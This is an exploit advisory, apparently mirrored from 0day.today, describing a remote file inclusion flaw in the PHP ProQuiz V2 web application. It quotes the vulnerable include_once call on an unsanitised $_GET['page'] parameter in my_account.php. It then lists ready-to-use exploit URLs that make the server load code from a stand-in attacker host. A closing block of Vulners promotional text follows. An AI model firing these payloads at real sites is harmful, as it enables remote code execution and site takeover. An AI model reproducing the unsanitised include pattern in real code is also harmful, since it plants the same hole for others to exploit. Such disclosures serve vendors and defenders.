+------------------------------------------------------------------+
+ PHP ProQuiz V2 Remote file Inclusion +
+------------------------------------------------------------------+
Web-App : PHP ProQuiz V2
Vendor : http://www.advphp.com
Vulnerability : Remote file Inclusion
Author : Adel SBM
Facebook : http://www.facebook.com/adel.sbm
Websites : [www.The-code.tk]-[www.dz-root.com]-[www.sec4ever.com]
Tested on : Windows XP SP2
Risk-level : High
SCREENSHOT : http://imgtk.tk/?img=171344610821.png
+-------------------------------------------------------------------+
+ Algeria +
+ 01/08/2012 +
+-------------------------------------------------------------------+
[-] vulnerable code in "my_account.php"
if($_GET['action']=='getpage' && !empty($_GET['page'])){
@include_once($_GET['page'].'.php');
}else{
echo getContents($db,'my_panel');
}
?
[-] An attacker might include local or remote PHP files or read files through $_GET['page'] ..
==================================================================================================
================================= FIRST YOU MUST REGISTER=========================================
==================================================================================================
--------------------
EXPLOIT:
--------------------
http://localhost/train/my_account.php?action=getpage&page=http://www.evilcode.com/evilcode.txt?
Or:
http://localhost/train/my_account.php?action=getpage&page=http://www.evilcode.com/evilcode
--------------------
EXAMPLE (Localhost):
--------------------
http://localhost/train/my_account.php?action=getpage&page=http://www.evilcode.com/evilcode.txt?
# 0day.today [2018-02-06] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation